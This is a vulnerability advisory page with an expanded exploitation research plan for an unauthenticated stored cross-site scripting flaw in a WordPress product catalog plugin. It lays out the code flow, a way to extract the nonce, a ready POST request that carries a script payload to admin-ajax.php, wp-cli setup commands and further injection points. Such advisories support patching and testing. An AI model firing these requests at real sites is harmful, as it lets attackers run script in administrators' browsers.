eCommerce Product Catalog Plugin for WordPress <= 3.5.4 - Unauthenticated Stored Cross-Site Scripting
Description
The eCommerce Product Catalog Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.5.4What Changed in the Fix
Changes introduced in v3.5.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-57360 ## 1. Vulnerability Summary **CVE-2026-57360** is an unauthenticated stored cross-site scripting (XSS) vulnerability in the **eCommerce Product Catalog Plugin for WordPress (<= 3.5.4)**. The vulnerability exists due to insufficient sanitization and outpu…
Show full research plan
Exploitation Research Plan: CVE-2026-57360
1. Vulnerability Summary
CVE-2026-57360 is an unauthenticated stored cross-site scripting (XSS) vulnerability in the eCommerce Product Catalog Plugin for WordPress (<= 3.5.4). The vulnerability exists due to insufficient sanitization and output escaping of order-related metadata (such as customer details or custom form fields) submitted via the "Request a Quote" or "Checkout" forms. When an unauthenticated visitor submits a quote or order, the malicious payload is stored in the database as post meta for the al_digital_orders post type. The payload executes when an administrator views the order details in the WordPress back-end.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(for form submission) or the front-end page containing the catalog/checkout shortcode. - Hook: Likely
wp_ajax_nopriv_ic_formbuilder_submitor a similar unauthenticated AJAX action used by the plugin's internal form builder. - Vulnerable Parameter: Fields within the
$_POSTarray associated with customer details (e.g.,ic_formbuilder_fields[...]). - Authentication: Unauthenticated.
- Preconditions: The "Request a Quote" or "Cart/Checkout" functionality must be enabled (which is the default behavior of the plugin).
3. Code Flow
- Entry Point: An unauthenticated user submits a form on the front-end (e.g., a quote request).
- Processing: The request is handled by the plugin's form builder. In
modules/cart/includes/orders/includes/save-order.php, thesave()function is triggered via theic_formbuilder_before_mailhook. - Storage:
- The
save()function extracts data into$ic_formbuilder_filled_fields. - It calls
ic_update_digital_order_status()(found inmodules/cart/includes/orders/includes/verify-payment.php). ic_update_digital_order_status()callsupdate_post_meta( $order_id, '_payment_details', $payment_details ), saving the raw unsanitized input into the database.
- The
- Sink:
- An administrator navigates to Products > Orders and views the malicious order.
- The
details()function inmodules/cart/includes/orders/includes/register-digital-orders.php(Line 139) renders the metadata. - The plugin iterates through the
$payment_detailsarray and echoes the keys and values. If custom fields are used, they are often echoed withoutesc_html()oresc_attr(), triggering the XSS.
4. Nonce Acquisition Strategy
The form builder requires a nonce for unauthenticated submission. This nonce is typically localized to a JavaScript variable on the product listing or checkout page.
- Identify Page: Locate the page where products are listed (default slug:
productsorproduct-catalog). - Create Test Page:
wp post create --post_type=page --post_title="Exploit Test" --post_status=publish --post_content='[show_products]' - Extract Nonce:
- Navigate to the "Exploit Test" page.
- Use
browser_evalto find the localized variable. Based on common patterns in this plugin, check foric_ajax_objectorepc_vars. - Command:
browser_eval("window.ic_ajax_object?.nonce || window.epc_vars?.nonce")(inferred).
5. Exploitation Strategy
- Setup: Ensure a product exists and is available for a quote.
- Request: Submit an unauthenticated AJAX request to simulate a form submission.
- Payload:
{ "action": "ic_formbuilder_submit", "nonce": "[EXTRACTED_NONCE]", "ic_formbuilder_fields[Customer Name]": "<script>alert('CVE-2026-57360')</script>", "ic_formbuilder_fields[Email]": "attacker@example.com", "pre_name": "cart_" } - HTTP Request:
- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=ic_formbuilder_submit&nonce=[NONCE]&ic_formbuilder_fields[Customer%20Name]=%3Cscript%3Ealert(%27CVE-2026-57360%27)%3C/script%3E&pre_name=cart_
6. Test Data Setup
- Create Sample Product:
wp post create --post_type=al_product --post_title="XSS Trigger Product" --post_status=publish - Enable Quote Functionality: Ensure
product_archive_page_idis set (usually handled by activation). - Ensure Order Menu Exists: The plugin registers
al_digital_orders. Ensure the admin user hasmanage_product_settingscapability (default for Administrators).
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success":true}). - A new post of type
al_digital_orderswill be created in the database. - When an administrator logs into
/wp-admin/edit.php?post_type=al_digital_ordersand clicks "Edit" on the latest order, an alert box with "CVE-2026-57360" will appear.
8. Verification Steps
- Check Database: Verify the payload is stored in post meta.
wp post list --post_type=al_digital_orders --fields=ID,post_title # Get the ID of the latest order wp post meta get [ORDER_ID] _payment_details - Verify Rendering: Use
http_requestas an administrator to fetch the order edit page and check for the raw payload.# Use the agent's browser tool to navigate to the order edit page # Verify that the <script> tag is present in the HTML response without being escaped to <script>
9. Alternative Approaches
- Shortcode XSS: If the
[customer-orders]shortcode is used (Line 35 ofsave-order.php), the XSS may also trigger on the front-end for the user who submitted the order if they are logged in or if the plugin allows tracking orders via a session ID. - Shipping Label Injection: Inject the payload into the shipping cost calculation if a custom shipping plugin is active, as
$shipping_summary['labels']is echoed raw inshipping_summary()(Line 110 ofsave-order.php).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.